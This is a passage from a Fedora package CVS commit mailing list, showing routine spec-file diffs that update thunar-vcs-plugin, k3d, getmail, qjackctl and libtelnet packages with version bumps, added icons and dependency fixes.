diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in	2009-10-24 17:06:34.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in	2009-10-24 17:05:45.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Oct 2009 17:01:21 -0000	1.2
+++ .cvsignore	24 Oct 2009 15:40:44 -0000	1.3
@@ -1 +1,2 @@
-thunar-vcs-plugin-0.1.0.tar.bz2
+thunar-vcs-plugin-0.1.1.tar.bz2
+git-icons.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Oct 2009 17:01:21 -0000	1.2
+++ sources	24 Oct 2009 15:40:44 -0000	1.3
@@ -1 +1,2 @@
-90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2
+00b3ea668a11136644aaa588318fb0f4  thunar-vcs-plugin-0.1.1.tar.bz2
+402d74f1e34b6ca3a53d42f71b32079b  git-icons.tar.gz


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-11/thunar-vcs-plugin.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- thunar-vcs-plugin.spec	19 Oct 2009 23:06:21 -0000	1.2
+++ thunar-vcs-plugin.spec	24 Oct 2009 15:40:44 -0000	1.3
@@ -1,14 +1,19 @@
 # Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465
 
 Name:           thunar-vcs-plugin
-Version:        0.1.0
+Version:        0.1.1
 Release:        1%{?dist}
-Summary:        SVN integration for the Thunar filemanager
+Summary:        Version Contol System plugin for the Thunar filemanager
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
 Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
+# Created some icons and sent them upstream
+Source1:        git-icons.tar.gz
+# Upstream changed the Makefile to install the new icons
+# http://git.xfce.org/thunar-plugins/thunar-vcs-plugin/commit/?id=3aa180a79c07d4855f6c779ac951d047dc164b10
+Patch0:         thunar-vcs-plugin-0.1.1-git-icons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  Thunar-devel >= 0.4.0
@@ -27,21 +32,22 @@ Provides:       thunar-svn-plugin = %{ve
 Obsoletes:      thunar-svn-plugin < 0.0.4-1
 
 %description
-The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration to Thunar. The current features are:
-* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
-  export, import, lock, log, move, properties, relocate, resolved, revert, 
-  status, switch, unlock and update.
-* Subversion info in file properties dialog.
+The Thunar VCS Plugin adds Subversion and GIT actions to the context menu of 
+Thunar. This gives a VCS integration to Thunar. The current features are:
+* Most of the SVN actions: add, blame, checkout, cleanup, commit, copy, 
+  delete, export, import, lock, log, move, properties, relocate, resolved, 
+  revert, status, switch, unlock and update
+* Subversion info in file properties dialog
+* Basic GIT actions: add, branch, clone, log, reset, status
 
 This project was formerly known as Thunar SVN Plugin.
 
 %prep
-%setup -q
-
+%setup -q -a 1
+%patch0 -p1 -b .git-icons
 
 %build
-%configure --disable-static
+%configure --disable-static --enable-subversion --enable-git
 # remove rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -80,9 +86,15 @@ gtk-update-icon-cache %{_datadir}/icons/
 %doc AUTHORS COPYING ChangeLog NEWS README
 %{_libdir}/thunarx-1/%{name}.so
 %{_libexecdir}/tvp-svn-helper
+%{_libexecdir}/tvp-git-helper
 %{_datadir}/icons/hicolor/*/apps/subversion.png
+%{_datadir}/icons/hicolor/*/apps/git.png
 
 
 %changelog
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
+- Update to 0.1.1
+- Include git icons
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
 - Initial Fedora package



From cwickert at fedoraproject.org  Sat Oct 24 16:08:43 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 16:08:43 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-10 thunar-vcs-plugin.spec,1.4,1.5
Message-ID: <20091024160843.1381F11C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9156

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1.1
- Fix Thunar dependency once again (D'oh!)



Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/thunar-vcs-plugin.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- thunar-vcs-plugin.spec	24 Oct 2009 15:40:44 -0000	1.4
+++ thunar-vcs-plugin.spec	24 Oct 2009 16:08:42 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           thunar-vcs-plugin
 Version:        0.1.1
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        Version Contol System plugin for the Thunar filemanager
 
 Group:          User Interface/Desktops
@@ -25,7 +25,7 @@ BuildRequires:  uuid-devel
 BuildRequires:  libuuid-devel
 %endif
 BuildRequires:  gettext, intltool
-Requires:       Thunar >= 1.0.0
+Requires:       Thunar >= 0.9.0
 Requires:       subversion
 # Obsolete thunar-svn-plugin for smooth upgrades
 Provides:       thunar-svn-plugin = %{version}-%{release}
@@ -92,9 +92,15 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1.1
+- Fix Thunar dependency once again (D'oh!)
+
 * Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
 - Update to 0.1.1
 - Include git icons
 
+* Wed Oct 21 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1.1
+- Fix Thunar dependency 
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
 - Initial Fedora package



From denis at fedoraproject.org  Sat Oct 24 16:16:41 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Sat, 24 Oct 2009 16:16:41 +0000 (UTC)
Subject: rpms/k3d/F-12 k3d.spec,1.35,1.36
Message-ID: <20091024161641.D04B811C00E5@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/k3d/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11398

Modified Files:
	k3d.spec 
Log Message:
Rebuilt with uuid BR name fix


Index: k3d.spec
===================================================================
RCS file: /cvs/pkgs/rpms/k3d/F-12/k3d.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- k3d.spec	25 Jul 2009 04:15:34 -0000	1.35
+++ k3d.spec	24 Oct 2009 16:16:41 -0000	1.36
@@ -1,7 +1,7 @@
 
 Name:           k3d
 Version:        0.7.11.0
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A 3D Modeling, Animation and Rendering System
 
 Group:          Applications/Multimedia
@@ -42,6 +42,7 @@ BuildRequires:  libtool doxygen gettext
 BuildRequires:  libpng-devel
 BuildRequires:  cairomm-devel
 BuildRequires:  uuid-c++-devel
+BuildRequires:  libuuid-devel
 
 # Text widget uses bitstream font by default
 Requires:       bitstream-vera-sans-fonts
@@ -148,6 +149,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Sat Oct 24 2009 Denis Leroy <denis at poolshark.org> - 0.7.11.0-3
+- Rebuilt with uuid BR name fix
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.11.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From knol at fedoraproject.org  Sat Oct 24 17:01:03 2009
From: knol at fedoraproject.org (knol)
Date: Sat, 24 Oct 2009 17:01:03 +0000 (UTC)
Subject: rpms/getmail/devel .cvsignore, 1.10, 1.11 getmail.spec, 1.14,
	1.15 sources, 1.11, 1.12
Message-ID: <20091024170104.6F3F011C0297@cvs1.fedora.phx.redhat.com>

Author: knol

Update of /cvs/pkgs/rpms/getmail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22678

Modified Files:
	.cvsignore getmail.spec sources 
Log Message:
Update to 4.13.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/getmail/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	10 Aug 2009 21:15:10 -0000	1.10
+++ .cvsignore	24 Oct 2009 17:00:57 -0000	1.11
@@ -1 +1 @@
-getmail-4.11.0.tar.gz
+getmail-4.13.0.tar.gz


Index: getmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/getmail/devel/getmail.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- getmail.spec	11 Aug 2009 10:01:32 -0000	1.14
+++ getmail.spec	24 Oct 2009 17:00:58 -0000	1.15
@@ -2,8 +2,8 @@
 
 Summary: POP3, IMAP4 and SDPS mail retriever with Maildir delivery
 Name: getmail
-Version: 4.11.0
-Release: 3%{?dist}
+Version: 4.13.0
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://pyropus.ca/software/getmail/
@@ -55,7 +55,10 @@ Getmail is written entirely in python.
 %{python_sitelib}/getmailcore/
 
 %changelog
-* Mon Aug 10 2009 Dean Mander <knolderpoor at gmail.com> - 4.11.0-3
+* Sat Oct 24 2009 Dean Mander <knolderpoor at gmail.com> - 4.13.0-2
+- update to release 4.13.0
+
+* Mon Aug 10 2009 Dean Mander <knolderpoor at gmail.com> - 4.11.0-2
 - update to release 4.11.0
 
 * Sat Jul 18 2009 Dean Mander <knolderpoor at gmail.com> - 4.9.2-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/getmail/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	10 Aug 2009 21:15:10 -0000	1.11
+++ sources	24 Oct 2009 17:00:58 -0000	1.12
@@ -1 +1 @@
-bec537bd9f6677f8296d4396a54ed611  getmail-4.11.0.tar.gz
+e1b290c36912e62446dfc9a5203539ca  getmail-4.13.0.tar.gz



From oget at fedoraproject.org  Sat Oct 24 17:58:23 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat, 24 Oct 2009 17:58:23 +0000 (UTC)
Subject: rpms/qjackctl/F-12 .cvsignore, 1.5, 1.6 qjackctl.spec, 1.15,
	1.16 sources, 1.6, 1.7 qjackctl-0.3.3-qt45.patch, 1.1,
	NONE qjackctl.desktop, 1.1, NONE
Message-ID: <20091024175823.A4B9611C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/qjackctl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4649

Modified Files:
	.cvsignore qjackctl.spec sources 
Removed Files:
	qjackctl-0.3.3-qt45.patch qjackctl.desktop 
Log Message:
* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
- Update to 0.3.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	18 Apr 2009 02:32:04 -0000	1.5
+++ .cvsignore	24 Oct 2009 17:58:21 -0000	1.6
@@ -1 +1 @@
-qjackctl-0.3.4.tar.gz
+qjackctl-0.3.5.tar.gz


Index: qjackctl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-12/qjackctl.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- qjackctl.spec	27 Jul 2009 02:26:43 -0000	1.15
+++ qjackctl.spec	24 Oct 2009 17:58:21 -0000	1.16
@@ -2,13 +2,10 @@
 
 Summary:       Qt based JACK control application
 Name:          qjackctl
-Version:       0.3.4
-Release:       2%{?dist}
+Version:       0.3.5
+Release:       1%{?dist}
 URL:           http://qjackctl.sourceforge.net
 Source0:       http://dl.sf.net/sourceforge/qjackctl/qjackctl-%{version}.tar.gz
-Source1:       qjackctl.desktop
-# Fix close button not shown with Qt 4.5 (#494471)
-Patch0:        qjackctl-0.3.3-qt45.patch
 # We don't want .qm files in the default locale dir
 Patch1:        qjackctl-fix-locale-path.patch
 License:       GPLv2+
@@ -30,9 +27,11 @@ patchbay and connection control features
 
 %prep
 %setup -q
-%patch0 -p1 -b .qt45
 %patch1 -p1 -b .localedir
 
+# Remove absolute paths:
+sed -i 's|@ac_prefix at .*|qjackctl|' qjackctl.desktop.in
+
 %build
 QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake} %configure --with-qt=%{_qt4_prefix}
 %{__make} %{?_smp_mflags}
@@ -49,14 +48,15 @@ QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake
 %{__rm} %{buildroot}%{_datadir}/applications/qjackctl.desktop
 
 # desktop file categories
-BASE="X-Fedora Application AudioVideo"
 XTRA="X-Jack"
-
+RMCAT="MIDI JACK ALSA"
 %{__mkdir} -p %{buildroot}%{_datadir}/applications
+
 desktop-file-install --vendor %{desktop_vendor} \
   --dir %{buildroot}%{_datadir}/applications \
-  `for c in ${BASE} ${XTRA} ; do echo "--add-category $c " ; done` \
-  %{SOURCE1}
+  `for c in ${XTRA} ; do echo "--add-category $c " ; done` \
+  `for c in ${RMCAT} ; do echo "--remove-category $c " ; done` \
+  qjackctl.desktop
 
 # Create the lang file. %%find_lang does not handle .qm files
 for file in %{buildroot}%{_datadir}/qjackctl/locale/*.qm; do
@@ -89,6 +89,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/%{desktop_vendor}-qjackctl.desktop
 
 %changelog
+* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
+- Update to 0.3.5
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Apr 2009 02:32:04 -0000	1.6
+++ sources	24 Oct 2009 17:58:21 -0000	1.7
@@ -1 +1 @@
-65736e83650468256ba22aa5d35fd0cb  qjackctl-0.3.4.tar.gz
+08792978e822509209728b02d071a757  qjackctl-0.3.5.tar.gz


--- qjackctl-0.3.3-qt45.patch DELETED ---


--- qjackctl.desktop DELETED ---



From oget at fedoraproject.org  Sat Oct 24 18:00:06 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat, 24 Oct 2009 18:00:06 +0000 (UTC)
Subject: rpms/qjackctl/F-11 .cvsignore, 1.5, 1.6 qjackctl.spec, 1.14,
	1.15 sources, 1.6, 1.7 qjackctl-0.3.3-qt45.patch, 1.1,
	NONE qjackctl.desktop, 1.1, NONE
Message-ID: <20091024180006.91AD211C02A6@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/qjackctl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5151

Modified Files:
	.cvsignore qjackctl.spec sources 
Removed Files:
	qjackctl-0.3.3-qt45.patch qjackctl.desktop 
Log Message:
* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
- Update to 0.3.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	18 Apr 2009 03:04:59 -0000	1.5
+++ .cvsignore	24 Oct 2009 18:00:05 -0000	1.6
@@ -1 +1 @@
-qjackctl-0.3.4.tar.gz
+qjackctl-0.3.5.tar.gz


Index: qjackctl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-11/qjackctl.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- qjackctl.spec	18 Apr 2009 03:05:00 -0000	1.14
+++ qjackctl.spec	24 Oct 2009 18:00:06 -0000	1.15
@@ -2,13 +2,10 @@
 
 Summary:       Qt based JACK control application
 Name:          qjackctl
-Version:       0.3.4
+Version:       0.3.5
 Release:       1%{?dist}
 URL:           http://qjackctl.sourceforge.net
 Source0:       http://dl.sf.net/sourceforge/qjackctl/qjackctl-%{version}.tar.gz
-Source1:       qjackctl.desktop
-# Fix close button not shown with Qt 4.5 (#494471)
-Patch0:        qjackctl-0.3.3-qt45.patch
 # We don't want .qm files in the default locale dir
 Patch1:        qjackctl-fix-locale-path.patch
 License:       GPLv2+
@@ -30,9 +27,11 @@ patchbay and connection control features
 
 %prep
 %setup -q
-%patch0 -p1 -b .qt45
 %patch1 -p1 -b .localedir
 
+# Remove absolute paths:
+sed -i 's|@ac_prefix at .*|qjackctl|' qjackctl.desktop.in
+
 %build
 QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake} %configure --with-qt=%{_qt4_prefix}
 %{__make} %{?_smp_mflags}
@@ -49,14 +48,15 @@ QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake
 %{__rm} %{buildroot}%{_datadir}/applications/qjackctl.desktop
 
 # desktop file categories
-BASE="X-Fedora Application AudioVideo"
 XTRA="X-Jack"
-
+RMCAT="MIDI JACK ALSA"
 %{__mkdir} -p %{buildroot}%{_datadir}/applications
+
 desktop-file-install --vendor %{desktop_vendor} \
   --dir %{buildroot}%{_datadir}/applications \
-  `for c in ${BASE} ${XTRA} ; do echo "--add-category $c " ; done` \
-  %{SOURCE1}
+  `for c in ${XTRA} ; do echo "--add-category $c " ; done` \
+  `for c in ${RMCAT} ; do echo "--remove-category $c " ; done` \
+  qjackctl.desktop
 
 # Create the lang file. %%find_lang does not handle .qm files
 for file in %{buildroot}%{_datadir}/qjackctl/locale/*.qm; do
@@ -89,6 +89,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/%{desktop_vendor}-qjackctl.desktop
 
 %changelog
+* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
+- Update to 0.3.5
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Apr 17 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.4-1
 - Update to 0.3.4
 - Update scriptlets according to the new guidelines


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Apr 2009 03:05:00 -0000	1.6
+++ sources	24 Oct 2009 18:00:06 -0000	1.7
@@ -1 +1 @@
-65736e83650468256ba22aa5d35fd0cb  qjackctl-0.3.4.tar.gz
+08792978e822509209728b02d071a757  qjackctl-0.3.5.tar.gz


--- qjackctl-0.3.3-qt45.patch DELETED ---


--- qjackctl.desktop DELETED ---



From oget at fedoraproject.org  Sat Oct 24 18:01:13 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat, 24 Oct 2009 18:01:13 +0000 (UTC)
Subject: rpms/qjackctl/F-10 .cvsignore, 1.5, 1.6 qjackctl.spec, 1.13,
	1.14 sources, 1.6, 1.7 qjackctl-0.3.3-qt45.patch, 1.1,
	NONE qjackctl.desktop, 1.1, NONE
Message-ID: <20091024180113.0EA8B11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/qjackctl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5429

Modified Files:
	.cvsignore qjackctl.spec sources 
Removed Files:
	qjackctl-0.3.3-qt45.patch qjackctl.desktop 
Log Message:
* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
- Update to 0.3.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-10/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	18 Apr 2009 03:10:17 -0000	1.5
+++ .cvsignore	24 Oct 2009 18:01:12 -0000	1.6
@@ -1 +1 @@
-qjackctl-0.3.4.tar.gz
+qjackctl-0.3.5.tar.gz


Index: qjackctl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-10/qjackctl.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- qjackctl.spec	18 Apr 2009 03:10:17 -0000	1.13
+++ qjackctl.spec	24 Oct 2009 18:01:12 -0000	1.14
@@ -2,13 +2,10 @@
 
 Summary:       Qt based JACK control application
 Name:          qjackctl
-Version:       0.3.4
+Version:       0.3.5
 Release:       1%{?dist}
 URL:           http://qjackctl.sourceforge.net
 Source0:       http://dl.sf.net/sourceforge/qjackctl/qjackctl-%{version}.tar.gz
-Source1:       qjackctl.desktop
-# Fix close button not shown with Qt 4.5 (#494471)
-Patch0:        qjackctl-0.3.3-qt45.patch
 # We don't want .qm files in the default locale dir
 Patch1:        qjackctl-fix-locale-path.patch
 License:       GPLv2+
@@ -30,9 +27,11 @@ patchbay and connection control features
 
 %prep
 %setup -q
-%patch0 -p1 -b .qt45
 %patch1 -p1 -b .localedir
 
+# Remove absolute paths:
+sed -i 's|@ac_prefix at .*|qjackctl|' qjackctl.desktop.in
+
 %build
 QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake} %configure --with-qt=%{_qt4_prefix}
 %{__make} %{?_smp_mflags}
@@ -49,14 +48,15 @@ QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake
 %{__rm} %{buildroot}%{_datadir}/applications/qjackctl.desktop
 
 # desktop file categories
-BASE="X-Fedora Application AudioVideo"
 XTRA="X-Jack"
-
+RMCAT="MIDI JACK ALSA"
 %{__mkdir} -p %{buildroot}%{_datadir}/applications
+
 desktop-file-install --vendor %{desktop_vendor} \
   --dir %{buildroot}%{_datadir}/applications \
-  `for c in ${BASE} ${XTRA} ; do echo "--add-category $c " ; done` \
-  %{SOURCE1}
+  `for c in ${XTRA} ; do echo "--add-category $c " ; done` \
+  `for c in ${RMCAT} ; do echo "--remove-category $c " ; done` \
+  qjackctl.desktop
 
 # Create the lang file. %%find_lang does not handle .qm files
 for file in %{buildroot}%{_datadir}/qjackctl/locale/*.qm; do
@@ -89,6 +89,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/%{desktop_vendor}-qjackctl.desktop
 
 %changelog
+* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
+- Update to 0.3.5
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Apr 17 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.4-1
 - Update to 0.3.4
 - Update scriptlets according to the new guidelines


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/F-10/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Apr 2009 03:10:17 -0000	1.6
+++ sources	24 Oct 2009 18:01:12 -0000	1.7
@@ -1 +1 @@
-65736e83650468256ba22aa5d35fd0cb  qjackctl-0.3.4.tar.gz
+08792978e822509209728b02d071a757  qjackctl-0.3.5.tar.gz


--- qjackctl-0.3.3-qt45.patch DELETED ---


--- qjackctl.desktop DELETED ---



From elanthis at fedoraproject.org  Sat Oct 24 20:08:09 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Sat, 24 Oct 2009 20:08:09 +0000 (UTC)
Subject: rpms/libtelnet/devel .cvsignore, 1.2, 1.3 libtelnet.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091024200809.DB7B611C00E5@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/libtelnet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4721

Modified Files:
	.cvsignore libtelnet.spec sources 
Log Message:
libtelnet 0.12


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libtelnet/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Sep 2009 02:38:20 -0000	1.2
+++ .cvsignore	24 Oct 2009 20:08:08 -0000	1.3
@@ -1 +1 @@
-libtelnet-0.11.tar.gz
+libtelnet-0.12.tar.gz


Index: libtelnet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libtelnet/devel/libtelnet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libtelnet.spec	8 Sep 2009 02:38:20 -0000	1.1
+++ libtelnet.spec	24 Oct 2009 20:08:08 -0000	1.2
@@ -1,5 +1,5 @@
 Name:		libtelnet
-Version:	0.11
+Version:	0.12
 Release:	1%{?dist}
 Summary:	TELNET protocol parsing framework
 
@@ -22,6 +22,7 @@ MSSP protocols used by MUD servers and c
 Summary: Header files for libtelnet
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
+Requires: pkgconfig
 
 %description devel
 Header files for developing applications making use of libtelnet.
@@ -64,6 +65,7 @@ rm -rf "$RPM_BUILD_ROOT"
 %files devel
 %defattr(-,root,root,-)
 %{_libdir}/*.so
+%{_libdir}/pkgconfig/%{name}.pc
 %{_includedir}/*
 
 %files utils 
@@ -71,6 +73,10 @@ rm -rf "$RPM_BUILD_ROOT"
 %{_bindir}/*
 
 %changelog
+* Wed Oct 24 2009 Sean Middleditch <sean at middleditch.us> 0.12-1
+- Update to libtelnet 0.12.
+- Include libtelnet.pc in -devel package.
+
 * Wed Aug 31 2009 Sean Middleditch <sean at middleditch.us> 0.11-1
 - Update to libtelnet 0.11.
 - Add BuildRequires on zlib-devel.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libtelnet/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Sep 2009 02:38:20 -0000	1.2
+++ sources	24 Oct 2009 20:08:08 -0000	1.3
@@ -1 +1 @@
-6a0b9f6951f509ff4086b405ab112a30  libtelnet-0.11.tar.gz
+b1443bf54f0fa2c3e205bf4c2f74c9dd  libtelnet-0.12.tar.gz



From elanthis at fedoraproject.org  Sat Oct 24 20:11:13 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Sat, 24 Oct 2009 20:11:13 +0000 (UTC)
Subject: rpms/clc/devel .cvsignore,1.2,1.3 clc.spec,1.1,1.2 sources,1.2,1.3
Message-ID: <20091024201113.C323911C02A6@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/clc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5870

Modified Files:
